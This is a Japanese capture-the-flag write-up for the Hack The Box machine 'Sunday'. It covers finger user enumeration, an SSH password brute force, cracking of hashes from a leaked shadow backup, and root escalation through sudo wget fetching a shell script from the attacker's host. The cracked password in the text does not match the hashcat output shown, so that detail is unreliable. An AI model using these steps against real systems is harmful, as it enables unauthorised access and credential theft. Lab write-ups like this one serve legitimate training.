Hack The Box Write-Up: Sunday

  

[STEP1] Enumeration: Portscan by Nmap

Nmapにて当該ホスト「10.10.10.76」に対してポートスキャンを実施。
※Nmapのコマンドについて詳しく知りたい方は、以下の記事を参照してください。

nmap -sC -sV -oA sunday 10.10.10.76
root@kali:~/Desktop/htb/lab/sunday# nmap -sC -sV -oA sunday 10.10.10.76
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-18 03:13 EDT
Nmap scan report for 10.10.10.76
Host is up (0.23s latency).
Not shown: 977 closed ports
PORT      STATE    SERVICE              VERSION
79/tcp    open     finger               Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open     rpcbind
  • finger(79/tcp)のVersionよりUnixベースのSolarisが動作している。
  • finger(79/tcp)はリモートホストに登録されているユーザ情報などを開示する。

他のポートの空き状況を確認するため、フルポートスキャンを実施。

nmap -p- -oA allports.nmap 10.10.0.76 --max-retries 1
nmap -p- -oA allports.nmap 10.10.0.76 --max-retries 1

→ Port 22022でSSHも動作していることが判明。

[STEP2] Enumeration: Finger (79/tcp)

以下のツール「finger-user-enum」を利用して、Solaris finger サービスに対して問合せを行い、登録済みもしくはログインされたユーザを推測する。

./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76 
root@kali:~/Desktop/htb/lab/sunday/finger-user-enum# ./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76 
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Worker Processes ......... 5
Usernames file ........... /usr/share/seclists/Usernames/Names/names.txt
Target count ............. 1
Username count ........... 10163
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used

######## Scan started at Sat Apr 18 04:23:40 2020 #########

sammy@10.10.10.76: sammy                 pts/2        <Apr 24, 2018> 10.10.14.4          ..
sunny@10.10.10.76: sunny                 pts/2          3 Sat 08:51  10.10.14.25         ..

ユーザー「sammy」と「sunny」は、当該ホストにログインしていたことが見受けられる。

[STEP3] Bruteforce over SSH (22022/tcp)

ユーザー「sunny」のパスワードを推測するために、以下のツール「lanjelot」の利用してSSH(22022/tcp)に対してブルートフォースを実施。

時間短縮のため、/user/share/seclists/Passwords配下にある1575行のパスワードリストを利用。

find . -type f -exec wc -l {} \; | sort -nr
root@kali:/usr/share/seclists/Passwords# find . -type f -exec wc -l {} \; | sort -nr
3721255 ./openwall.net-all.txt
3431316 ./Leaked-Databases/md5decryptor.uk.txt
---
1904 ./Leaked-Databases/carders.cc.txt
1575 ./probable-v2-top1575.txt

ユーザー「sunny」のパスワードは「sunday」であることを確認。

patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0 
root@kali:~/Desktop/htb/lab/sunday# patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0 0=/usr/share/seclists/Passwords/probable-v2-top1575.txt persistent=0 -x ignore:mesg='Authentication failed.'
04:31:29 patator    INFO - Starting Patator v0.6 (http://code.google.com/p/patator/) at 2020-04-18 04:31 EDT
04:31:29 patator    INFO -                                                                              
04:31:29 patator    INFO - code  size   time | candidate                          |   num | mesg
04:31:29 patator    INFO - -----------------------------------------------------------------------------
04:48:40 patator    INFO - 0     19    1.402 | sunday                             |   880 | SSH-2.0-Sun_SSH_1.3

上記の資格情報でSSH(22022/port)にログイン成功。

ssh -p 22022 sunny@10.10.10.76
root@kali:~/Desktop/htb/lab/sunday# ssh -p 22022 sunny@10.10.10.76
Password: 
Last login: Sat Apr 18 08:51:28 2020 from 10.10.14.25
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sunny@sunday:~$ id
uid=65535(sunny) gid=1(other) groups=1(other)

[STEP4] Privilege Escalation (linux)

sunnyは一般ユーザーであるため、管理者(root)へ権限昇格させる必要がある。
「sudo -l」により、sunnyは管理者権限で「sudo /root/troll」の実行が許可されていることが分かる。

sunny@sunday:~$ sudo -l
sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
    (root) NOPASSWD: /root/troll

次に、参照権限が付与されている「/backup/shadow.backup」の中身を表示して、バックアップされたshadowファイルに記載のsammyの暗号化されたパスワード($5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB)を確認。

sunny@sunday:/backup$ cat shadow.backup
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

以下のhashcatのサイトより、上記パスワードは sha256crypt $5$, SHA256 (Unix) 2(Hash Mode: 7400)でハッシュ化されている。

「hashcat」でハッシュの解析を行う。 hash Mode:7400を指定し、rockyou.txtのパスワードリストを用いる。

hashcat -m 7400 hash /usr/share/wordlists/rockyou.txt --force
root@kali:~/Desktop/htb/lab/sunday# hashcat -m 7400 hash /usr/share/wordlists/rockyou.txt --force
hashcat (v4.1.0) starting...
-------------抜粋-------------
$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:dadof3

Session..........: hashcat
Status...........: Cracked
Hash.Type........: sha256crypt $5$, SHA256 (Unix)
Hash.Target......: $5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB
Time.Started.....: Sat Apr 18 05:29:14 2020 (10 mins, 4 secs)
Time.Estimated...: Sat Apr 18 05:39:18 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)

ハッシュ解析の結果、Sammyのパスワードは「cooldude!」であると判明。
攻撃端末(Kali)で別のターミナルを開き、sammyの資格情報を使ってSSHでログインする。
「sudo -l」より、sammyは管理者権限で「sudo /usr/bin/wget」の実行が許可されていることが分かる。

sammy@sunday:~$ sudo -l
sammy@sunday:~$ sudo -l                                                                                                                                                           
User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget

攻撃端末(Kali)でbashを起動させる以下のシェルスクリプト「troll」を作成して、python -m SimpleHTTPServerでホストする。

#!/usr/bin/bash

bash

SSHでログインしたsammyで「sudo wget 10.10.14.25:8000/troll -O /root/troll」を実行して、先ほど攻撃端末でホストしたシェルスクリプト「troll」をダウンロードして「/root/troll」に出力する。

sammy@sunday:~$ sleep 3;sudo wget 10.10.14.25:8000/troll -O /root/troll        
sammy@sunday:~$ sleep 3;sudo wget 10.10.14.25:8000/troll -O /root/troll        
--10:12:09--  http://10.10.14.25:8000/troll
           => `/root/troll'
Connecting to 10.10.14.25:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 23 [application/octet-stream]

100%[====================================>] 23            --.--K/s             

10:12:10 (1.82 MB/s) - `/root/troll' saved [23/23]

SSHでログインしたsunnyで「sudo /root/troll」を実行することで、管理者権限「root」でbashの起動に成功する。

sunny@sunday:~$ sudo /root/troll                                               
sunny@sunday:~$ sudo /root/troll                                               
root@sunday:~# id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)

Leave a Reply

Your email address will not be published. Required fields are marked *